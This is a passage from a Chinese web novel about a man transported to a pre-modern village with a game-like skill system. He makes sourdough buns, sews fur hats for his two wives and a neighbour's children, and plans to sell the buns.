可让李逸无语的是,下午的时候,赵寡妇、钱寡妇、大张寡妇,那些平日里总喜欢和刘氏嚼舌根的农妇,竟一人拖着一根树干,陆续来到了他家门口,一口一个李三兄弟,喊得格外亲热。
上午刚答应了王寡妇,李逸自然没法拒绝其他人,只能一一应下,看着院子里堆起的几根树干,哭笑不得。
“你很需要树吗?”秦心月歪着头看向他,眼神里满是疑惑。
李逸看着院里的树干,苦笑回答:“暂时应该不需要了。”
天黑之前,用作干活的木棚终于搭建好了。下午得了这么多木材,李逸索性按照木屋的规格来做,搭了三面木墙,能有效挡风。
“李公子,再弄一面木墙,我可以睡这里。”秦心月看着木棚,开口说道。
虽然于巧倩和白雪儿待她和善,但她总觉得睡在一个炕上不太合适,毕竟男女有别。
“秦姐姐,就算封上一面木墙,这里还是很冷的!”白雪儿连忙劝道:“火炕那么大,挤一挤暖和。”
于巧倩看穿了她的心思,也过来劝阻:“是啊秦姑娘,还是睡炕上吧。你若是冻生病了,夫君还要跑乡里给你买药,多麻烦。”
李逸连连点头,心里暗道:有两个善良的媳妇就是好。
秦心月见众人真心挽留,也不再坚持。虽是习武之人,身体强健、忍耐力远超常人,但睡过火炕的温暖后,她也确实有些不舍。
一整天的时间,李逸忙得像个不停转的陀螺。
早起练拳,之后做木工活,中午下厨做饭,下午继续做木工,晚上准备晚饭,饭后还要做缝纫活,这让秦心月很是惊讶。
在这个时代,女人讲究三从四德,地位低下。大户人家还好些,多是些礼仪规矩,可在穷苦人家,这种观念就变得有些畸形,成了愚忠愚从,丈夫说的任何话妻子都必须听从,脏活累活全由女人包揽,还要忍受打骂,伺候夫家老小。
秦心月还是第一次见到李逸这样的男人,他从不强求白雪儿和于巧倩干活,做饭砍柴这些粗活都自己来,脸上还带着心甘情愿的笑意。
白雪儿想给他洗脚,都得趁他睡着时偷偷摸摸的。
秦心月坐在油灯旁,看着李逸低头缝补衣物的样子,手指灵巧地穿梭在布料间,脸上带着专注的神情。
她心里暗自嘀咕:真是个怪人.......
第三十六章:老面养成!
“夫君……你这老面到底什么时候才能好呀?”
白雪儿扒着炕沿,用膝盖蹭到炕头的木桶边,指尖先是轻轻碰了碰桶壁,凉丝丝的木头触感带着炕火熏烤的温热。她不满足,又伸出食指,用指腹敲了敲桶身。
咚咚的闷响传来,白雪儿皱了皱小巧的鼻尖,声音软乎乎的,带着点孩童般的急切:
“这都放了好些天了,不会坏了吧?”
李逸正低头摆弄着一块狍子皮的边角料,闻言抬头看了眼那只盖得严严实实的木桶。
木桶是他前些日子自己刨光拼接的,接口处用松脂封了缝,瞧着不算精致,却异常结实。他这才后知后觉想起,这桶老面竟是差点被他忘到了脑后。
上次试着做饼子,那时没经验面也没发,制作的饼子嚼着发死没有口感。
白雪儿和于巧倩她们只是吃得一个新奇的感觉,没有面条那么受欢迎,自那以后她们没再提想吃饼子。
李逸有些不甘心,他想吃一口家乡美食咋就这么难呢!
于是他特意寻了块干净的桦木,制作了只木桶,又研磨了最精细的小麦粉,加了温水揉成面团,搁在炕头最温热的地方发酵。
炕火终日不熄,温度刚好能催发面里的酵母菌,李逸本想着养出老面,日后做面食就方便了,可近来忙着进山打猎,在乡里和县城间奔波,大量做木工活,竟是把这木桶抛到了九霄云外。
秦心月昨晚便瞥见了这只木桶,之前没看见过,但看盖得严丝合缝她暗自琢磨着,许是李逸为了冬天方便制造的便桶,她当时还想着,这人倒是越发讲究了,打了这么个厚实的木桶,就是放到炕上着实有些不妥....
李逸挪到木桶旁,膝盖跪在炕沿上,还没等木桶的掀开盖子,一股淡淡的酸味就顺着木桶的缝隙飘了出来。
这酸味不冲鼻,反倒混着些清甜的麦香,像是前世老家灶台上,奶奶发酵面团时那股熟悉的味道,竟让他生出几分久违的亲切感。
李逸连忙掀开盖子,里面的面团早已发得膨松饱满,像一大团棉絮,表面布满了细密的蜂窝状气孔,泛着湿润的光泽。
伸出手指轻轻按下去,面团软软的带着弹性,指尖一松,凹陷处便缓缓回弹,还粘着些许湿润的麦粉。探头又凑近闻了闻,酸味中夹杂着浓郁的麦香,没有一丝霉味。
李逸眼睛亮了亮,嘴角忍不住上扬,他这老面养得非常成功!
明天正好能试着蒸馒头,白白胖胖的馒头,咬一口松软香甜,肯定比那硬邦邦的饼子好吃百倍。
不过蒸馒头得有蒸笼,李逸心里快速盘算着,明天又要有的忙了....
“夫君……这老面真的弄好了?”
白雪儿凑过来,小脑袋探着往木桶里瞧,眼睛瞪得圆圆的,像只好奇的小松鼠。她伸出小手,想去碰那膨松的面团,又怕弄坏了,指尖在半空中犹豫了一下,终究还是缩了回去。
李逸笑着点头,伸手揉了揉她的头顶:“嗯,已经能用了,明天给你做比饼子好吃百倍的馒头,蒸得白白胖胖的,让你一次吃个够。”
一听说有好吃的,白雪儿兴奋地拍手,脸颊红得像熟透的苹果:
“太好了!夫君做的东西都好吃!”说着她下意识地吸了吸口水,已经开始期待明天的馒头了。
于巧倩手里的针线顿了顿,眼底也闪过一丝期待。这些日子跟着李逸,她尝过不少从未吃过的新鲜吃食,烤得外焦里嫩的野兔,还有那面条真的很好吃,她低头看了眼手里的针线,嘴角悄悄勾起一抹浅浅的笑意。
端坐炕梢的秦心月,指尖轻轻动了动。她吃过不少山珍海味,却从未听过馒头这东西。听李逸说得这般神奇,心里也忍不住好奇,也想尝尝那究竟是什么滋味。
于巧倩这些日子一直跟着李逸做针线活,她惊讶地发现,李逸的进步简直是肉眼可见的神速。
起初,他拿针的姿势都笨拙得很,针脚歪歪扭扭,走线毫无章法,有时候还会扎到手。可没过几日,他做活就变得又快又好看,针脚细密均匀。
这让于巧倩越发佩服,心里暗叹:夫君学东西这般快,若是专心读书,定能成为满腹经纶的读书人,说不定还能被官府看中,谋个一官半职。
可转念一想,自家因为王权更迭而入狱,父母双亡,两个哥哥被充作苦力不知道是死是活,看似做官风光,哪有平头百姓安稳。
于巧倩摇摇头,把这念头压了下去。如今这李逸踏实肯干,又诚心待她和雪儿,不如就守着这破屋安安稳稳地过日子。
李逸用袍子皮的边角料,给大丫和石头各做一顶皮帽子。
他把边角料铺在炕桌上,先用线绳丈量尺寸,又用木炭在皮料上轻轻划出轮廓。特意把帽顶的边角料裁成圆润的熊耳形状,缝的时候里面塞上破布显得鼓鼓囊囊的,瞧着格外可爱。
比起他自己那顶粗糙的处女作,这两顶帽子的针脚和形状都精致了太多。
【裁缝熟练度+15】
【裁缝熟练度+15】
【生存技能裁缝升级】
【获得奖励:智力+1】
【获得奖励:裁剪缝纫工具套盒】
系统提示音在脑海中响起,李逸只觉得一阵精神抖擞,像是混沌的脑子被清泉洗涤过,思路瞬间清晰。
眼前的皮料、针线,甚至空气中的尘埃,都变得格外清晰,这便是智力提升的感觉,让他体会到了什么叫醍醐灌顶。
李逸打开物品栏,里面果然多了一个新图标。查看详细,里面整齐地摆放着一套裁剪缝纫工具,一把精致的剪刀,刀刃锋利手柄是打磨光滑的木头,几枚不同型号的钢针,针鼻光滑,针尖锋利,不知道比骨针好用多少倍,顶针,各种颜色的线团,一卷刻着细密刻度的皮尺,东西的种类又多又细碎。
这些工具都是金属和木头制成,没有后世常见的橡胶之类的异物,虽比市面上的工具精致些,但白雪人她们早已见怪不怪,不会怀疑什么。
佯装从箩筐中摸出剪刀,李逸握在手里只觉得得心应手。
他把两张雪白的兔皮取出来,铺在炕桌上,一直没用就是在等着缝纫技能升级。
白雪儿双手撑着下巴,眼睛一眨不眨地盯着李逸的手。
看到李逸拿着软尺在兔皮上量了量,又用轻轻画了几道线,然后剪刀落下,兔皮就被裁成了整齐的形状。那动作流畅得很像是做了千百遍一般。
秦心月的眼神紧紧落在李逸手上,她自幼习武,李逸此刻的状态,感觉就像是习武之人的顿悟,一朝勘破关窍,便能抵得上十年苦修,只是没想到李逸在针线活上,也能有这般领悟力。
李逸的动作越来越快,裁剪时手腕翻飞,剪子落下又抬起,利落得不带一丝犹豫。
穿针引线时,指尖捏着针轻轻一捻,线就穿过了针鼻,针线在皮子上穿梭,针脚细密均匀,每一针都恰到好处,距离分毫不差。那针在他手里仿佛活了过来,上下翻飞看得人眼花缭乱。
李逸自己也沉浸在这种特殊状态里,注意力高度集中,完全忘了时间。他能清晰地感觉到,每一针下去,针脚的深浅、角度,都能精准把控,这体验让他格外舒畅。
不知过了多久,两顶雪白的兔皮帽子终于做好了。
“呼……”
李逸长长地呼出一口气,抬手擦了擦额角的薄汗,把帽子递给白雪儿和于巧倩:
“雪儿,倩儿,你们戴上试试。”
白雪儿迫不及待地把帽子往头上一扣,瞬间就感受到绒毛所带来的温暖,她转头看向于巧倩,眼睛亮晶晶的:“姐姐你戴这个真好看,这兔毛好软呀!”
于巧倩抬手拢了拢帽檐,指尖触到柔软的兔毛,一股暖意顺着指尖蔓延开来。
她抬眼看向白雪儿,脸上露出浅浅的笑意:“雪儿戴着也很合适呢”
【白雪儿好感度+10(当前好感度65)】
【于巧倩好感度+5(当前好感度23)】
【伴侣好感
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度达到60,获得奖励:可分配属性+1】
系统提示音再次响起,李逸心里一阵欢喜。他看着眼前笑靥如花的二女,满意地点点头:
“不错不错,你们戴着都好看,没浪费这两块好皮子。”
他侧头看向一直安静看着的秦心月,笑着说:“等下次进山猎到兔子,一定给秦姑娘也做一顶。”
秦心月微微垂眸,长长的睫毛遮住了眼底的情绪,声音轻柔却坚定:
“李公子不必费心,我自幼习武,体质异于常人,不怕冷。”话虽如此,她的指尖却轻轻蜷缩了一下。
李逸挠了挠鼻尖,不好意思地笑了笑:
“秦姑娘这般称呼太见外了,我就是个种地打猎的农户,被你喊公子总觉得浑身不自在。你还是喊我李逸吧,咱们以后都是同住一个屋檐下的,不必如此生分。”
“嗯。”秦心月轻轻点头。
李逸揉了揉发酸的眼眶,油灯的火光昏黄,跳跃不定,在昏暗的光线下做了这么久的活,眼睛确实有些吃不消。
他用力伸了个懒腰,骨骼发出轻微的咔咔声,然后抬手捏灭了油灯的火苗:
“太晚了,睡吧....”
屋内瞬间陷入一片黑暗,四个人躺在炕上各有心思,谁也没有说话,只有彼此均匀的呼吸声在屋内回荡。
李逸睁着眼睛,看着眼前虚拟的人物面板,心里一阵兴奋:
【姓名:李逸】
【人物属性】
【力量2体质3敏捷2智力2】
【可分配属性点:1】
【资产】
【36342钱】
【破屋一栋(修缮中)】
【田地四亩(荒废)】
【生存技能】
【狩猎:110/2000(专精)】
【耕种:0/100(入门)】
【医术:42/100(入门)】
【木工:70/500(熟练)】
【厨艺:60/100(入门)】
【武功:25/100(入门)】
【裁缝:5/500(熟练)】
【伴侣】
【白雪儿:好感度65(依赖)】
【于巧倩:好感度23(欣赏)】
李逸没想到,提升伴侣好感度也能获得属性奖励,这倒是个意外之喜。
体质关乎耐力和恢复力,不管是进山打猎还是在家做木工,有个好身子骨才撑得住,所以他没有丝毫犹豫,便把这1点可分配属性加在了体质上。
属性点刚一加完,他就感觉到一股暖流顺着四肢百骸蔓延开来,先前做活带来的疲惫感瞬间消散了不少,浑身都充满了力气。
旁边的三女都睁着眼睛没睡,各自想着心事。
【夫君真好,不仅给我做好吃的,还做这么好看的帽子。以后我要一直陪着夫君,早日给夫君生个大胖小子,延续李家香火。等开春了,我还要跟着夫君去地里干活,帮夫君分担辛苦。】
白雪儿悄悄把身子往李逸那边挪了挪。
于巧倩躺在白雪儿身边
【夫君那夜悔改后,竟这般心灵手巧,对我和雪儿也这般好,爹娘应该可以安息了】
秦心月躺在炕梢,睁着眼睛看着屋顶的横梁.....
她自小跟着父亲习武,性子独立,从未依赖过谁。可自从被李逸所救,留在这破屋里养伤,她却感受到了从未有过的温暖。
【李逸真是个奇人,打猎、木工、厨艺、针线甚至医术武功都有些天赋。若他出身世家,怕是早已声名鹊起。不过也正因如此,才少了许多纷争。跟着他.....或许真能有个安稳的归宿,不用再过颠沛流离的日子】
【只是……他对我究竟是何想法?这般事情,总不好我一个女子先开口。】
李逸困意渐浓,迷迷糊糊中不知何时睡了过去,再睁眼时白雪儿果然又悄悄溜进了他的被窝,小身子蜷缩着,像只黏人的小猫,呼吸均匀而轻柔,嘴角还带着浅浅的笑意,想来是做了个甜甜的梦.....
第三十七章:我容易吗我?
“夫君这面团好软啊!”
白雪儿指尖轻轻戳向木盆里的面团,指尖陷下去时带着温温的弹性,像按在刚孵出的小鸡绒毛上。这面团看着和做面条的麦粉团相差无几,却明显更膨松透软,白乎乎的一大团卧在盆里,竟让人莫名生出想狠狠咬上一大口的冲动。
今日天还没亮,李逸就爬起来忙活。打造两个木笼蒸屉着实耗费了不少功夫,斧头劈木、刨子找平、凿子挖槽,好在成品结实规整,不仅用着顺手,还赚了不少木工熟练度,看得他心里美滋滋的。
李逸将木盆里的大面团取出,在案板上揉了揉排气,而后等分成一个个小面团。掌心托着温乎乎的面疙瘩,沉甸甸地带着发酵后的微酸气息,看着就喜人。数了数,一共二十三个,正好能摆满一层蒸笼。
李逸特意留了一半老面,这老面引子是前几日特意养的,密封在木桶里放在炕头暖着,这会儿已经发得鼓鼓囊囊,带着酸甜的酒香气,老面存得越久,发酵出来的面食越香浓,剩下的这半团,掺上新麦粉后还得放回木桶里继续养着。
秦心月站在一旁看得新奇,她原以为李逸起早贪黑打造的奇怪木笼是什么农具,没想到竟是用来做吃食的。比起之前的饼子和面条,这馒头的工序明显复杂得多,真不知李逸这般奇思妙想是打哪儿来的。
将摆好馒头的蒸笼搁在炕头二次醒发,眼看着日头爬到中天,李逸往大铁锅里添水,把蒸笼稳稳架在锅上。
“雪儿,烧火添柴就交给你了!”李逸转过身,笑着拍了拍白雪儿的肩膀。
白雪儿立刻挺直小身板,虎着泛红的小脸,用力点头:“好的夫君!就交给我吧!”
她攥着柴火往灶膛里添,火苗腾地窜起来,舔着锅底,映得她脸颊红扑扑的,鼻尖上沾了点黑灰,看着甚是可爱。
看白雪儿干劲儿十足,李逸便带着秦心月和于巧倩去了院外。
连日的阴天终于放晴,阳光穿透薄云洒下来,落在院中的积雪上,折射出细碎的银光,屋顶的积雪本就不多,被寒风一吹,簌簌往下掉,倒省了李逸扫雪的功夫,他心里清楚,若是遇上暴雪,屋顶的积雪必须及时清理,不然单薄的木屋顶怕是扛不住重压。
院角的木棚格外实用,棚顶铺着厚厚的茅草,四面钉了木板挡风,里头竟比院里暖和不少。于巧倩和秦心月踩着脱壳的木杵,一上一下动作渐渐默契,木杵撞击石臼的咚咚声,伴着积雪滑落的簌簌声。
两人美眸时不时瞟向一旁的李逸,看他有条不紊地摆弄着各种新奇的木工工具,刨花簌簌落在脚边,不过十几分钟,就将一块粗木打理得平整光滑。
“夫君!我闻到香味啦!你这馒头是不是快要好了?”白雪儿的声音突然从屋门口传来,带着难掩的兴奋。
她小跑到门槛边,脑袋探出来,鼻尖还在不住地抽动,眼睛亮晶晶的。
李逸抬头笑道:“不急,还得再蒸会儿,你控制着火候,别烧太旺。”
“知道啦夫君!”白雪儿连忙缩回屋里,继续蹲在锅灶边守着,时不时用小鼻子凑到锅边闻一下,满脸期待。
秦心月脱粟米的动作越发利索,有她和于巧倩、白雪儿三人轮流忙活,一天能脱五六十斤粟米,照这个进度,再过几日攒够数量就能去乡里卖了。
又过了十几分钟,屋里的麦香终于漫出房门,顺着风飘到院中,带着发酵后的香甜,勾得人食指大动。
李逸连忙放下手中的活,大步进屋查看。蒸笼上的热气升腾,几乎要顶到屋顶,白雪儿正皱着小鼻子,一脸陶醉地闻着香味。
“夫君,是不是能吃了?这味道也太香了!”她见李逸进来,立刻凑上前问道,声音里满是急切。
李逸伸手掀开蒸笼盖,一股滚烫的蒸汽裹着浓郁的麦香扑面而来,熏得人鼻尖发痒。
等蒸汽稍稍散去,就能看到笼屉里一个个圆鼓鼓的馒头,呈淡淡的麦黄色,表面带着些许未筛净的麸皮颗粒,却个个饱满挺括,用筷子轻轻一戳,还能看到明显的回弹。
“嗯,熟了!”李逸满意地点点头。
“倩儿,秦姑娘,馒头蒸好啦!”他朝着门外喊了一声。
外面干活的于巧倩和秦心月闻言,立刻放下手中的活计快步走了进来。
李逸从蒸笼里拿出一个馒头,掰开时能看到内里蓬松的孔洞,热气裹着麦香再次溢出,他分了三瓣,给三女一人一块。
白雪儿顾不上烫,飞快地塞进嘴里,烫得她嘶嘶吸了口气,却舍不得吐出来,飞快地咀嚼着。腮帮子鼓鼓的,一双杏眼瞬间瞪得溜圆,亮晶晶的全是惊喜!
那种松软温润的口感,混着纯粹的麦香,狠狠冲击着她的味觉,比面条筋道,比饼子绵软,竟是从未尝过的滋味!
于巧倩指尖捏着温热的馒头块,轻轻咬了一小口,柔软的口感顺着舌尖蔓延开来,麦香混合着发酵的微甜,让她忍不住眼睛一亮。
素来沉稳的秦心月也放缓了咀嚼的速度,眸中闪过讶异,这般将小麦磨成粉后蒸熟的吃法,倒是前所未闻,口感竟如此独特。
“夫君!这...这个馒头....真的好好吃啊!”
白雪儿咽下嘴里的食物,声音激动得都有些发颤,语无伦次。
于巧倩也连连点头:“是啊夫君,真想不到它和面条竟是用同一种小麦粉做的!”
“将小麦磨成粉制作的吃食,竟能有这般风味!”秦心月也忍不住开口称赞,语气里满是赞叹。
李逸咀嚼着嘴里的馒头,心里别提多畅快了。
穿越过来大半个月,终于吃上了一口家乡味。虽说老面发酵带着淡淡的酸味,但这正是老面馒头的独特风味,很多上了年纪的人就好这一口。
欣喜之余,他心里竟有点发酸:
奶奶的,我容易吗我?人家穿越不是修仙就是斗气化马,轮到我这儿,倒成了民间发明家了!什么都得自己做,吃个馒头都得从打造蒸屉、养老面开始,一步步折腾,真是太难了!
心里吐槽归吐槽,但看着自己的成果,再瞧瞧白雪儿她们满脸欣喜的笑容,李逸的内心又涌起一股充实感。这是靠自己双手换来的踏实,比什么都强。
“等下我炒个菜,咱们趁热吃!”李逸转身说道。
他去院外的小地窖里取出冻得紧实的狍子肉,切成薄片,又拿出泡发好的干蘑菇和干野菜。
北方的冬天就是天然冰箱,这小地窖挖了半米多深,四壁铺了石头,内里架着木板,双层保护能防老鼠和野物,存些肉菜再合适不过。
铁锅烧热,先放少许动物油,油热后下肉片翻炒,待肉片变色,再加入蘑菇干和野菜,翻炒片刻,撒上点粗盐调味。
没多久,肉香、菌香和菜香就混在一起,萦绕在众人鼻尖......
【厨艺熟练度+10】
【厨艺熟练度+5】
【当前熟练75】
这是李逸第一次蒸馒头,系统给的熟练度格外高,足有10点,往常做一顿饭熟练度普遍是5点,若是简单煮个粥也就只有保底的1点。
馒头做得格外成功,三个姑娘吃得都很尽兴,一个个埋头苦吃,只有白雪儿时不时发出满足的呜咽声,鼓着腮帮子咀嚼的样子,活像一只囤粮的小松鼠。
“夫君,太好吃了!我想天天吃馒头,还有面条!”
她嘴里塞着食物,说话含含糊糊的,美眸望着李逸满是期盼。
于巧倩放下手中的馒头,认真道:“夫君,这馒头若是拿到县城去卖,那些大户人家想必会很喜欢。”
秦心月点头附和:“倩儿姑娘说得不错,这新鲜吃食在县城定然不愁卖。县城里的大户人家向来爱新鲜,这馒头软和,老人孩子都能吃,且携带方便,酒肆里配着菜肴或是单独吃都好,比粟米饭更显精致。”
李逸早就有过这个想法,如今解决了馒头的制作技术,确实可以尝试售卖。
不过他并不打算自己摆摊,而是想直接卖给王金石。
王金石的酒肆,主食只有粟米粥和粟米饭,太过单一,若是添了馒头这种新奇主食,酒肆的生意定然能更红火,以王金石的人脉,也不愁卖不出去。
而且老面发酵的窍门他藏在心里,旁人即便吃得出原材料是小麦,也复刻不出这味道,这可比单纯给粟米脱壳赚得多,还省心。
冬天天冷,馒头冻上一冬天都不会坏,储存起来也方便。李逸对自
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己做的馒头很有信心,他蒸的个头不算大,白雪儿和于巧倩每人能吃两个,他自己一口气就吃了三个半,当成主食消耗,需求量定然不小,不管蒸多少,王金石应该都能卖掉。
吃完饭,李逸捡了六个热气腾腾的馒头,又盛了些炒好的菜,装进大碗里,打算给张绣娘和大丫豆子他们送去。
张绣娘家的破败小院里,大丫和豆子正拿着扫帚扫雪,小脸冻得通红,鼻尖挂着两串清鼻涕,发梢沾着雪沫子,像缀了层白霜,却依旧卖力地挥舞着扫帚。
“娘,我肚子咕咕叫了,能不能先吃点东西?”
豆子吸了吸鼻涕,小脸蛋皱成一团。
张绣娘叹了口气,伸手揉了揉儿子的头:
“乖,娘这就去淘粟米,粥煮得快,再忍忍。”
家里的粟米不多要省着点吃,晌午饭在下午吃,晚饭就不吃了。
“呦!大丫和豆子在扫雪呢?真乖啊,都能帮你们娘干活了!”熟悉的声音从院门口传来。
大丫和豆子齐齐抬头,看到门口站着的李逸,脸上瞬间露出了开心的笑容:
“三叔!”
张绣娘也连忙拢了拢头发,快步走过来,脸上带着几分意外的笑意:
“哎呀,三兄弟,你咋来了?”
李逸抬了抬手中端着的大碗,故作神秘的笑道:
“给你们带了点好东西,快进屋!”
豆子用力吸了吸鼻涕,小跑到李逸身边,仰着小脸问:
“三叔,是面条吗?”
上次在李逸家吃面条,他连汤都喝光了,至今还惦记着,那是他吃过最好吃的东西。
只是娘说过,不能总去三叔家添麻烦,不然三叔会讨厌他们的。
张绣娘瞪了儿子一眼,嗔道:“你个小馋鬼!就知道吃!”
李逸大步走进屋,将大碗放在炕边的桌子上,顺手掀开倒扣在上面的陶碗,热气带着麦香和肉香瞬间升腾而起,填满了狭小的屋子。
豆子站在桌边,只露出个小脑袋,看着碗里白白圆圆的东西,小脸上满是疑惑。这东西他从未见过,却闻着格外香,还带着肉味。
三叔居然还给他们带了肉!
“哇!这是什么,看起来好漂亮呀!”大丫捂着小嘴,眼睛瞪得圆圆的,满脸好奇。
张绣娘也凑了过来,美眸中满是惊讶。她实在看不出这是什么吃食,想来又是李逸琢磨出来的稀罕物。
“豆子,大丫,你们先去洗手,然后过来趁热吃饭!”李逸笑着吩咐道。
“哦!知道了三叔!”
豆子抹了把鼻涕,迫不及待地拉着姐姐跑了出去。
张绣娘坐在桌边,表情有些不自然地搓了搓手:
“哎呀三兄弟,你这又给我们送吃的,最近你对我们已经帮衬太多了......”
李逸不在意地摆了摆手:“嫂子说的哪里话,都是一家人,不说两家话。等我有需要也不会跟你客气。再说,我这是带给大丫和豆子吃的,你呀,是沾了孩子们的光!”
张绣娘心里一暖,眼眶微微发热。她看得出来,李逸是真心疼这两个孩子,待他们就像亲生孩子一般。
豆子和大丫洗干净小脏手,乖乖坐在桌边。李逸拿起两个馒头递给他们,又给了张绣娘一个:“直接咬着吃,快尝尝三叔做的好吃不?”
豆子和大丫早就忍不住了,小嘴凑上去,大口咬在馒头上。
松软的馒头在嘴里化开,麦香混合着淡淡的肉香,比面条更绵软,比粟米粥更顶饱,两人都忍不住眯起了眼睛,小脸上满是满足。
张绣娘也跟着咬了一口,馒头的绵软瞬间包裹住舌尖,没有粗糙的麸皮感,反而带着发酵后的微甜,混着菜里的肉香。
娘仨的表情在这一刻同步了,全都惊愕地瞪大了双眼,满是不可思议的震惊!
豆子快速咀嚼了两口,一伸脖子咽了下去,连忙问道:
“三叔!这是什么呀?真好吃!和面条一样好吃!”
“嗯....嗯.....软软的,特别香!”大丫也连连点头,紧接着又咬了第二口。
李逸看着她们娘仨满足的模样,脸上也露出了笑容,能吃饱穿暖,这就是穷苦人家生活里最踏实的幸福.....
第三十八章:发财的门路
“哎呦!三兄弟,嫂子真是服了你!这馒头到底是怎么做出来的?你的手也太巧了!”
张绣娘捧着手里的馒头,眼睛里有个光彩,她忍不住又咬了一小口,松软的口感在舌尖化开,脸上满是赞叹。
李逸听着这真心实意的夸赞,心里暖洋洋的,穿越到这大荒村能靠自己的手艺让身边人开心,倒是件顶舒心的事,他笑着摆了摆手:“先吃饭,吃完再说!”
豆子别看年纪小个子矮,胃口却着实不小,他捧着馒头大口吞咽不消片刻就吃完了一个,紧接着又拿起第二个,吃得不亦乐乎。
大丫性子文静些,却也不甘示弱,小口小口嚼得飞快,没多久也吃完了两个。
反倒是张绣娘,吃完一个后就把剩下的馒头往碗里推了推,眼神在两个孩子身上转了转,明显是舍不得再吃,想留到晚上给孩子当加餐。
李逸一眼就看穿了她的心思,笑着劝道:“嫂子,你就放心吃吧,这馒头我以后常给你们做,管够!”
“娘,你吃呀,我和弟弟都吃饱了!”大丫放下手里的筷子,脆生生地说道,小脸上带着懂事的认真。
豆子连忙抓起馒头送到张绣娘面前,嘴里含糊不清地说:“是呀娘,这东西这么好吃,你也得多吃点!”
看着两个孩子这般懂事,张绣娘鼻头一酸,眼角瞬间泛红,她用力点了点头,声音带着几分哽咽:“嗯……娘吃,娘吃……”
李逸看着这一幕觉得很是温馨,柔声说道:“大丫、豆子,喜欢吃下次三叔蒸了馒头,还给你们送来!”
“嗯!三叔真好!”豆子用力点头,眼睛亮晶晶地脱口而出:“三叔如果是我爹就好了!”
这话一出,李逸和张绣娘瞬间都僵住了,空气仿佛凝固了一般。
张绣娘的脸颊腾地一下红透了,像熟透的苹果,连耳根都泛着热,手里的馒头都差点没拿稳。
“你这臭小子,又胡说八道什么!”张绣娘又羞又急,抬手就要打豆子。
李逸连忙伸手抓住她的手腕,笑着解围:“嫂子,别当真,豆子还小,童言无忌。”
他掌心的温度传来,张绣娘更是不自在,连忙收回手,低着头不敢看他。
李逸适时转移话题:“对了嫂子,我这次来还有件事想跟你商量,我打算教你蒸馒头,之后我拿到县城去卖,赚到的钱咱们五五分账,这可是比那给粟米脱壳要赚得多还更轻松些。”
张绣娘闻言,神色一正,连忙摆手:“不行不行!这可使不得!”
李逸愣了下:“嫂子,你是不愿意?”
“不是不是!”张绣娘连忙解释:“我自是愿意跟着你干,可五五分太不合适了!你帮衬嫂子已经够多了,嫂子哪还好意思跟你分一半的钱啊!”
李逸略一思索,说道:“那这样,三七分,你只负责蒸馒头剩下的都交给我”
这次张绣娘没有再推辞,她知道李逸是真心要帮衬他们,再推就显得生分了,于是点头应道:“成!三兄弟你怎么说,嫂子就怎么做!”
“对了嫂子,你的腰伤怎么样了?”李逸又关切地问道。
“好多了!”张绣娘活动了一下腰身,笑着说:“现在已经能做点轻巧活了,不碍事的!”
“三叔,你再给我娘摸摸!”豆子又突然冒出一句,眼睛直勾勾地看着李逸。
【这臭小子,是要把我气死吗!】
张绣娘心里又羞又窘,恨不得找个地缝钻进去。
李逸却是乐开了花,这不又来刷熟练度的机会了?他赶在张绣娘开口阻拦之前,收敛了笑意,一本正经地说:“嗯……再给你娘看看也好,早一天恢复就能早一天干活赚钱。”
他这么一说,张绣娘便没了顾虑。现在满心都是想跟着李逸好好赚钱,让两个孩子能吃饱穿暖,也就不再扭捏了。
“成,那三兄弟你再给嫂子看看。”
李逸从怀里摸出两个毛茸茸的皮帽子,递给孩子们:“大丫、豆子,三叔给你们做的帽子,戴上试试暖和不?”
豆子和大丫眼睛一亮,立刻凑了过来,小心翼翼地把帽子戴在头上,毛茸茸的皮子遮住了耳朵和额头,暖意瞬间包裹住小脑袋。
“谢谢三叔!这帽子真暖和!”大丫抬手摸了摸帽子,笑得眉眼弯弯。
“姐姐,咱们出去试试!看看是不是真的不冷了!”豆子拉着大丫的手,迫不及待地冲出了屋子。
张绣娘转头看向李逸,眼神里满是感激。上次李逸说要给孩子做帽子,她还以为是哄孩子开心的场面话,毕竟冬日里的皮子可是稀罕物,能卖不少钱,没想到李逸真的费心做了两顶,样子还这般好看。
院子里传来姐弟俩欢快的笑声.....
“呵呵呵……姐姐,头不冷了!”
“是呀是呀,三叔做的帽子真好看,还暖乎乎的!”
“呵呵呵......我最喜欢三叔了!”
听着孩子们的笑声,张绣娘的心底涌起一股暖流。
以前的李三好吃懒做,现在的李三是真心实意地对他们娘仨好,有他帮衬日子好像突然就有了盼头。
“三兄弟,你这让嫂子该咋感谢你啊……”张绣娘声音有些哽咽,眼眶又红了。
“嫂子,又见外了不是?”李逸笑着摆手:“一家人不说两家话,你趴下,我给你按按腰。”
“嗯……”张绣娘顺从地趴在炕边,脸颊依旧带着未散的红晕。
二十分钟后,李逸告辞。这次按摩确实拿到了熟练度,但只有2点。
“唉……算了,不强求。”李逸轻叹一声。
厨艺熟练度已经75点了,用不了几天就能升级,且现在他的体质堪比铁牛,应付日常的打猎干活也足够了。”
下午,李逸的重点是给送树干上门的寡妇们制作脱壳工具。
之前已经做过几个有了经验,再加上木工等级提升,手艺越发熟练,做得又快又好,一下午的功夫,木工熟练度又涨了不少。
“唉,好想分身啊!一个人真是不够用!”
李逸在心里哀嚎。他原本打算下午去山里打猎,趁着雪后踪迹好寻,多套几只野兔野鸡,结果又被木工活占满了时间。
这场雪不算太大,却把地面盖得严严实实。雪层会增加野兔野鸡的觅食难度,它们不得不频繁出来找吃的,而踩在雪地上的脚印,会成为最好的追踪线索,到时候直接顺着痕迹布置兔子套,收获肯定不会少。
王赖子家.....
王赖子缩在满是破洞的被窝里瑟瑟发抖。
身上的伤还没好利索,屋里又冷得像冰窖,他烦躁地踹了一脚坐在炕边发呆的傻婆娘,恶狠狠地骂道:“你个臭婆娘!老子能指望上你什么?怎么不饿死你算了!”
这一动牵扯到了身上的伤,疼得他龇牙咧嘴,发出一声哀嚎:
“哎呦!疼死老子了!李三你这个挨千刀的,这事儿没完!”
他的右手只是被斧背砸了一下,疼得还轻些,左手就惨了,两根手指扭曲变形,被破布裹着,一动就钻心地疼。
又冷又饿,还睡不着觉,王赖子越想越气!
他猛地把被子甩到一旁,咬牙下了床。伤腿虽然还疼,但比起前几天已经好了不少。
踉跄着走到水缸边,探头,缸面结了一层薄冰,王赖子用右手忍着疼,敲下一块冰塞进嘴里嘎嘣嘎嘣地嚼着,冰凉的冰块滑过喉咙,暂时压下了腹中的饥饿。
一瘸一拐地走到院门口,左右张望了一圈,目光落在自己的伤腿和包着破布的手上,满脸的憋屈。就他现在这模样,手脚不利索什么都干不了,只能在家挨饿受冻。
“李三!”
